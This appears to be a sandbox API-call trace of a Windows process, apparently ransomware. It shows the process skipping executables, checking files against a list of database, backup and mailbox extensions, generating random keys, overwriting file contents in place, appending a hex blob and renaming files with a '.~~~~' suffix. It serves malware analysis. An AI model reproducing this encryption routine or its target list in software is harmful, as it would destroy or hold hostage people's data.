	[0082.195] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.195] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.195] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.195] CloseHandle (hObject=0x134) returned 1
	[0082.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38da10
	[0082.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.~~~~")) returned 1
	[0082.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38da10 | out: hHeap=0x300000) returned 1
	[0082.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.196] GetLastError () returned 0x0
	[0082.196] RtlWakeConditionVariable () returned 0x365f70
	[0082.196] GetCurrentThreadId () returned 0x9f4
	[0082.197] GetCurrentThreadId () returned 0x9f4
	[0082.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7558 | out: hHeap=0x300000) returned 1
	[0082.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x300000) returned 1
	[0082.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0082.197] lstrlenW (lpString=".scr") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".scr") returned 0x0
	[0082.197] lstrlenW (lpString=".cmd") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".cmd") returned 0x0
	[0082.197] lstrlenW (lpString=".dll") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dll") returned 0x0
	[0082.197] lstrlenW (lpString=".bat") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".bat") returned 0x0
	[0082.197] lstrlenW (lpString=".cpl") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".cpl") returned 0x0
	[0082.197] lstrlenW (lpString=".sys") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".sys") returned 0x0
	[0082.197] lstrlenW (lpString=".msc") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".msc") returned 0x0
	[0082.197] lstrlenW (lpString=".com") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".com") returned 0x0
	[0082.197] lstrlenW (lpString=".lnk") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".lnk") returned 0x0
	[0082.197] lstrlenW (lpString=".msp") returned 4
	[0082.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".msp") returned 0x0
	[0082.197] lstrlenW (lpString=".pif") returned 4
	[0082.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".pif") returned 0x0
	[0082.198] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.198] lstrlenW (lpString=".sqb") returned 4
	[0082.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".sqb") returned 0x0
	[0082.198] lstrlenW (lpString=".ost") returned 4
	[0082.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".ost") returned 0x0
	[0082.198] lstrlenW (lpString=".txt") returned 4
	[0082.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".txt") returned 0x0
	[0082.198] lstrlenW (lpString=".mdt") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".mdt") returned 0x0
	[0082.199] lstrlenW (lpString=".BDB") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".BDB") returned 0x0
	[0082.199] lstrlenW (lpString=".eql") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".eql") returned 0x0
	[0082.199] lstrlenW (lpString=".DBF") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DBF") returned 0x0
	[0082.199] lstrlenW (lpString=".EQL") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".EQL") returned 0x0
	[0082.199] lstrlenW (lpString=".FDB") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".FDB") returned 0x0
	[0082.199] lstrlenW (lpString=".EDB") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".EDB") returned 0x0
	[0082.199] lstrlenW (lpString=".DACPAC") returned 7
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.199] lstrlenW (lpString=".VHD") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".VHD") returned 0x0
	[0082.199] lstrlenW (lpString=".DBV") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DBV") returned 0x0
	[0082.199] lstrlenW (lpString=".dacpac") returned 7
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dacpac") returned 0x0
	[0082.199] lstrlenW (lpString=".sdf") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".sdf") returned 0x0
	[0082.199] lstrlenW (lpString=".accdb") returned 6
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".accdb") returned 0x0
	[0082.199] lstrlenW (lpString=".DBX") returned 4
	[0082.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DBX") returned 0x0
	[0082.200] lstrlenW (lpString=".MDT") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".MDT") returned 0x0
	[0082.200] lstrlenW (lpString=".SQB") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".SQB") returned 0x0
	[0082.200] lstrlenW (lpString=".vhd") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".vhd") returned 0x0
	[0082.200] lstrlenW (lpString=".bac") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".bac") returned 0x0
	[0082.200] lstrlenW (lpString=".mdf") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".mdf") returned 0x0
	[0082.200] lstrlenW (lpString=".BAK") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".BAK") returned 0x0
	[0082.200] lstrlenW (lpString=".BAC") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".BAC") returned 0x0
	[0082.200] lstrlenW (lpString=".dbs") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dbs") returned 0x0
	[0082.200] lstrlenW (lpString=".vhdx") returned 5
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".vhdx") returned 0x0
	[0082.200] lstrlenW (lpString=".NDF") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".NDF") returned 0x0
	[0082.200] lstrlenW (lpString=".dat") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dat") returned 0x0
	[0082.200] lstrlenW (lpString=".DBS") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DBS") returned 0x0
	[0082.200] lstrlenW (lpString=".CKP") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".CKP") returned 0x0
	[0082.200] lstrlenW (lpString=".edb") returned 4
	[0082.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".edb") returned 0x0
	[0082.201] lstrlenW (lpString=".PST") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".PST") returned 0x0
	[0082.201] lstrlenW (lpString=".dbf") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dbf") returned 0x0
	[0082.201] lstrlenW (lpString=".SQL") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".SQL") returned 0x0
	[0082.201] lstrlenW (lpString=".pst") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".pst") returned 0x0
	[0082.201] lstrlenW (lpString=".dbv") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dbv") returned 0x0
	[0082.201] lstrlenW (lpString=".SDF") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".SDF") returned 0x0
	[0082.201] lstrlenW (lpString=".dtxs") returned 5
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dtxs") returned 0x0
	[0082.201] lstrlenW (lpString=".db3") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".db3") returned 0x0
	[0082.201] lstrlenW (lpString=".OST") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".OST") returned 0x0
	[0082.201] lstrlenW (lpString=".dbx") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dbx") returned 0x0
	[0082.201] lstrlenW (lpString=".DB3") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DB3") returned 0x0
	[0082.201] lstrlenW (lpString=".DAT") returned 4
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DAT") returned 0x0
	[0082.201] lstrlenW (lpString=".VHDX") returned 5
	[0082.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".VHDX") returned 0x0
	[0082.201] lstrlenW (lpString=".ndf") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".ndf") returned 0x0
	[0082.202] lstrlenW (lpString=".DB") returned 3
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DB") returned 0x0
	[0082.202] lstrlenW (lpString=".sql") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".sql") returned 0x0
	[0082.202] lstrlenW (lpString=".MYD") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".MYD") returned 0x0
	[0082.202] lstrlenW (lpString=".DBT") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DBT") returned 0x0
	[0082.202] lstrlenW (lpString=".ACCDB") returned 6
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.202] lstrlenW (lpString=".fdb") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".fdb") returned 0x0
	[0082.202] lstrlenW (lpString=".bak") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".bak") returned 0x0
	[0082.202] lstrlenW (lpString=".myd") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".myd") returned 0x0
	[0082.202] lstrlenW (lpString=".DTXS") returned 5
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".DTXS") returned 0x0
	[0082.202] lstrlenW (lpString=".ckp") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".ckp") returned 0x0
	[0082.202] lstrlenW (lpString=".dbt") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".dbt") returned 0x0
	[0082.202] lstrlenW (lpString=".db") returned 3
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".db") returned 0x0
	[0082.202] lstrlenW (lpString=".TXT") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".TXT") returned 0x0
	[0082.202] lstrlenW (lpString=".MDF") returned 4
	[0082.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".MDF") returned 0x0
	[0082.203] lstrlenW (lpString=".bdb") returned 4
	[0082.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".bdb") returned 0x0
	[0082.203] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.203] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.204] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.204] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0082.204] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20219415948) returned 1
	[0082.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ad5e870, dwHighDateTime=0x1d60e1e)) 
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3680
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x300000) returned 1
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0082.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.282] GetLastError () returned 0x0
	[0082.282] GetLastError () returned 0x0
	[0082.282] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.282] GetLastError () returned 0x0
	[0082.282] GetLastError () returned 0x0
	[0082.282] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.332] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.332] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.333] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.333] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.333] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.333] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.333] CloseHandle (hObject=0x134) returned 1
	[0082.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.~~~~")) returned 1
	[0082.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.334] GetLastError () returned 0x0
	[0082.334] RtlWakeConditionVariable () returned 0x365f70
	[0082.335] GetCurrentThreadId () returned 0x9f4
	[0082.335] GetCurrentThreadId () returned 0x9f4
	[0082.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4a58 | out: hHeap=0x300000) returned 1
	[0082.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3878 | out: hHeap=0x300000) returned 1
	[0082.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4a58
	[0082.335] lstrlenW (lpString=".scr") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".scr") returned 0x0
	[0082.335] lstrlenW (lpString=".cmd") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".cmd") returned 0x0
	[0082.335] lstrlenW (lpString=".dll") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".dll") returned 0x0
	[0082.335] lstrlenW (lpString=".bat") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".bat") returned 0x0
	[0082.335] lstrlenW (lpString=".cpl") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".cpl") returned 0x0
	[0082.335] lstrlenW (lpString=".sys") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".sys") returned 0x0
	[0082.335] lstrlenW (lpString=".msc") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".msc") returned 0x0
	[0082.335] lstrlenW (lpString=".com") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".com") returned 0x0
	[0082.335] lstrlenW (lpString=".lnk") returned 4
	[0082.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpSrch=".lnk") returned 0x0
	[0082.336] lstrlenW (lpString=".msp") returned 4
